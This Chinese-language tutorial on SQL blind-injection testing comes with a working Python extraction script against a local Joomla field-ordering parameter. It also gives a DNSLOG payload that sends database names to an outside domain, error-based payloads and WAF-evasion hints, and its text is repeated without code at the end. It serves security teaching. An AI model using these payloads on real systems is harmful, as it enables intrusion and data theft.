浅谈SQL盲注测试方法解析与技巧
字数 1572 2025-08-18 11:37:23

SQL盲注测试方法解析与技巧

一、SQL盲注概述

SQL盲注是一种在Web应用程序中利用SQL注入漏洞的技术,与常规SQL注入不同,盲注情况下应用程序不会直接返回数据库错误信息或查询结果,而是通过观察应用程序的不同响应行为来推断数据库信息。

二、Boolean-Based盲注(布尔型盲注)

基本原理

通过构造SQL查询,使得应用程序根据查询条件的真假返回不同的响应,从而推断出数据库信息。

常用函数

  1. left(x,y) - 从x的最左侧开始截取前y位
  2. ascii(substr((sql),1,1))=num - 从sql语句返回的字符串的第一位开始,截取字符串的一长度,将其转换成ascii编码,然后与num比较
  3. ord(mid((sql),1,1))=num - ord()与ascii()功能相同
  4. regexp '^[a-z]' - 使用正则表达式进行匹配

二分法实现

二分法可以显著提高布尔型盲注的效率:

# -*- coding:UTF-8 -*-
import requests
import sys

url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1': 'l1p92lf44gi4s7jdf5q73l0bt5'}

i = 1
while i <= 7:
    left = 0
    right = len(string) - 1
    mid = int((left + right) / 2)
    
    # 特殊情况处理
    if (right - left) == 1:
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
        poc = url + payload
        response = requests.get(poc, cookies=cookies, timeout=2)
        if ('安全令牌无效') in response.text:
            flag = flag + string[right]
        else:
            flag = flag + string[left]
        break
    
    # 二分法主循环
    while 1:
        mid = int((left + right) / 2)
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
        poc = url + payload
        response = requests.get(poc, cookies=cookies, timeout=2)
        
        if ('安全令牌无效') in response.text:  # 右半部
            left = mid + 1
        else:  # 左半部
            right = mid
            
        if (left == right):
            flag = flag + string[left]
            break
            
        # 特殊情况处理
        if (right - left) == 1:
            payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
            poc = url + payload
            response = requests.get(poc, cookies=cookies, timeout=2)
            if ('安全令牌无效') in response.text:
                flag = flag + string[right]
            else:
                flag = flag + string[left]
            break
    i += 1
print(flag)

优缺点

  • 优点:比遍历穷举快
  • 缺点:容易被封IP,速度相对较慢

三、DNSLOG盲注

基本原理

利用DNS查询记录来获取SQL注入结果,通过构造特殊的SQL查询使数据库服务器向攻击者控制的DNS服务器发起查询。

必要条件

  1. 仅限于Windows环境(需要支持UNC路径)
  2. MySQL版本>=5.5.53需要检查secure_file_priv全局变量是否为空
    • 如果为NULL,则不可用
    • 如果为空,则开启
    • 如果为目录,则只能在该目录下操作

配置检查与修改

-- 查看secure_file_priv设置
show global variables like '%secure%';

-- Windows下修改my.ini
[mysqld]
secure_file_priv = 

-- Linux下修改my.cnf
[mysqld]
secure_file_priv = 

示例Payload

?id=1' and if((select load_file(concat('\\\\',(select database()),'.karmaof.me\\123'))),1,1)--+

UNC路径说明

UNC为网络(主要指局域网)上资源的完整Windows名称,格式:\\servername\sharename,其中:

  • servername是服务器名
  • sharename是共享资源的名称

优缺点

  • 优点:简单快速,不需要像二分法一样繁琐地一个个遍历
  • 缺点:局限于Windows环境,MySQL配置要求较高

四、Time-Based盲注(时间型盲注)

常用延时函数

  1. sleep() - 使查询暂停指定秒数
    select sleep(5)
    
  2. benchmark() - 执行指定次数的表达式
    select benchmark(1000000,sha(1))
    
  3. 笛卡尔积 - 通过大量计算造成延时
    SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
    
  4. get_lock() - 利用锁机制造成延时(需要mysql_pconnect函数连接数据库)
    -- session 1
    select get_lock('karma',1)
    
    -- session 2
    select get_lock('karma',10)
    

五、Error-Based盲注(报错型盲注)

常用技术

  1. floor()+count()+group by(万能报错)
    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    
  2. exp() - 利用数值溢出
    and exp(~(select * from (select database() ) a) );--+
    
  3. bigint溢出(MySQL Version >=5.4.45)
    and !(select*from(select user())x)-~0-- -
    
  4. extractvalue()(MySQL Version >=5.1.5)
    and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
    
  5. updatexml()(MySQL Version >=5.1.5)
    and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
    
    • 最多只能显示32位,超过长度可以配合substr()
  6. name_const() - 生成指定名称的列
    union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;--+
    

六、CASE WHEN语句详解

语法结构

CASE expression 
    WHEN condition1 THEN result1
    WHEN condition2 THEN result2
    ...
    WHEN conditionN THEN resultN
    ELSE result
END

示例用法

-- 简单判断版
select 
    (case when users.id = 1 then users.username
          when users.id = 2 then users.username
          else 0 
    end) as username2 
from users;

-- 搜索版(when后可接任意判断表达式)
select 
    (case when users.id = 1 then users.username
          when users.id = 2 then users.username
          else 0 
    end) as username2 
from users;

七、实战注意事项

  1. 注入点确认:http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]
  2. 特殊字符处理:注意单双引号的转义问题
  3. 错误处理:注意应用程序的错误响应机制
  4. 性能考虑:根据实际情况选择最适合的盲注技术
  5. 防御规避:注意WAF/IDS的检测机制,可能需要调整注入方式

八、防御建议

  1. 使用参数化查询(Prepared Statements)
  2. 实施最小权限原则
  3. 输入验证和过滤
  4. 错误信息处理
  5. 使用Web应用防火墙(WAF)
  6. 定期安全审计和渗透测试

通过掌握这些SQL盲注技术,安全测试人员可以更全面地评估Web应用程序的安全性,发现潜在的安全隐患。

SQL盲注测试方法解析与技巧 一、SQL盲注概述 SQL盲注是一种在Web应用程序中利用SQL注入漏洞的技术,与常规SQL注入不同,盲注情况下应用程序不会直接返回数据库错误信息或查询结果,而是通过观察应用程序的不同响应行为来推断数据库信息。 二、Boolean-Based盲注(布尔型盲注) 基本原理 通过构造SQL查询,使得应用程序根据查询条件的真假返回不同的响应,从而推断出数据库信息。 常用函数 left(x,y) - 从x的最左侧开始截取前y位 ascii(substr((sql),1,1))=num - 从sql语句返回的字符串的第一位开始,截取字符串的一长度,将其转换成ascii编码,然后与num比较 ord(mid((sql),1,1))=num - ord()与ascii()功能相同 regexp '^[a-z]' - 使用正则表达式进行匹配 二分法实现 二分法可以显著提高布尔型盲注的效率: 优缺点 优点:比遍历穷举快 缺点:容易被封IP,速度相对较慢 三、DNSLOG盲注 基本原理 利用DNS查询记录来获取SQL注入结果,通过构造特殊的SQL查询使数据库服务器向攻击者控制的DNS服务器发起查询。 必要条件 仅限于Windows环境(需要支持UNC路径) MySQL版本>=5.5.53需要检查 secure_file_priv 全局变量是否为空 如果为NULL,则不可用 如果为空,则开启 如果为目录,则只能在该目录下操作 配置检查与修改 示例Payload UNC路径说明 UNC为网络(主要指局域网)上资源的完整Windows名称,格式: \\servername\sharename ,其中: servername 是服务器名 sharename 是共享资源的名称 优缺点 优点:简单快速,不需要像二分法一样繁琐地一个个遍历 缺点:局限于Windows环境,MySQL配置要求较高 四、Time-Based盲注(时间型盲注) 常用延时函数 sleep() - 使查询暂停指定秒数 benchmark() - 执行指定次数的表达式 笛卡尔积 - 通过大量计算造成延时 get_lock() - 利用锁机制造成延时(需要mysql_ pconnect函数连接数据库) 五、Error-Based盲注(报错型盲注) 常用技术 floor()+count()+group by (万能报错) exp() - 利用数值溢出 bigint 溢出(MySQL Version >=5.4.45) extractvalue() (MySQL Version >=5.1.5) updatexml() (MySQL Version >=5.1.5) 最多只能显示32位,超过长度可以配合substr() name_const() - 生成指定名称的列 六、CASE WHEN语句详解 语法结构 示例用法 七、实战注意事项 注入点确认: http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload] 特殊字符处理:注意单双引号的转义问题 错误处理:注意应用程序的错误响应机制 性能考虑:根据实际情况选择最适合的盲注技术 防御规避:注意WAF/IDS的检测机制,可能需要调整注入方式 八、防御建议 使用参数化查询(Prepared Statements) 实施最小权限原则 输入验证和过滤 错误信息处理 使用Web应用防火墙(WAF) 定期安全审计和渗透测试 通过掌握这些SQL盲注技术,安全测试人员可以更全面地评估Web应用程序的安全性,发现潜在的安全隐患。